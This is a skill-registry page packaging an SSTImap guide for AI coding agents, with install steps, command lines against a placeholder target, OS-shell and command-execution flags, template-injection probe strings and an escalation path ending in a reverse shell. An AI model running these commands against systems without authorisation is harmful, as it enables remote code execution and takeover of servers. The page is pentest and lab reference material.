# Sstimap

> Auth/lab ref: actively maintained SSTI detection and exploitation tool with interactive and predetermined modes across Jinja2, Twig, Smarty, Freemarker, Velocity, ERB, Pug, Nunjucks, and more.

- Skill: `aeondave/sstimap` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add aeondave/sstimap`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/sstimap/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: GPL-3.0
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/sstimap

---


# SSTImap

Modern SSTI detection and exploitation — maintained successor to tplmap.

## Quick Start

```bash
git clone https://github.com/vladko312/SSTImap
cd SSTImap && pip3 install -r requirements.txt

# Basic detection
python3 sstimap.py -u "http://target.com/render?name=*"

# POST injection point
python3 sstimap.py -u "http://target.com/render" -d "name=*"

# Interactive exploitation
python3 sstimap.py -u "http://target.com/render?name=*" --interactive
```

Use `*` to mark the injection point in URL params, POST body, or headers.

## Core Flags

| Flag | Purpose |
|------|---------|
| `-u <url>` | Target URL with `*` marker |
| `-d <data>` | POST body with `*` marker |
| `-H "K: V"` | Custom header |
| `--cookie <str>` | Cookie string |
| `--os-shell` | Try interactive OS shell |
| `--os-cmd <cmd>` | Execute one OS command |
| `--interactive` | Interactive exploitation mode |
| `--engine <name>` | Force engine if known |
| `--proxy <url>` | Route through Burp/ZAP |
| `--extra <dir>` | Load extra plugins |

## Supported Engines

Common engines covered:
- Jinja2 / Python eval
- Twig / Smarty
- Freemarker / Velocity
- ERB / Slim / Ruby eval
- Pug / Nunjucks / doT / Dust / EJS
- Tornado / Mako / Marko

## Detection Workflow

```bash
# 1. Confirm reflection manually
name={{7*7}}
name=${7*7}
name=<%= 7*7 %>
name=#{7*7}

# 2. Hand off to SSTImap
python3 sstimap.py -u "http://target.com/?name=*"

# 3. If engine known, force it for cleaner exploitation
python3 sstimap.py -u "http://target.com/?name=*" --engine jinja2 --interactive
```

## Typical Escalation Path

| Stage | Objective |
|-------|-----------|
| Expression eval | `{{7*7}}` / `${7*7}` returns `49` |
| Object traversal | reach builtins / classes / globals |
| File read | load templates, config, env |
| Command exec | `os.popen`, `subprocess`, engine-native gadget |
| Shell | reverse shell or interactive command loop |

## Why Prefer SSTImap over tplmap

- Actively maintained with releases in 2025
- Native Python 3 workflow
- Interactive mode is cleaner for real exploitation
- Extra plugins support newer engines and CVE-specific chains

## References

- SSTI payloads: `references/ssti-payloads.md`
- [SSTImap repository](https://github.com/vladko312/SSTImap)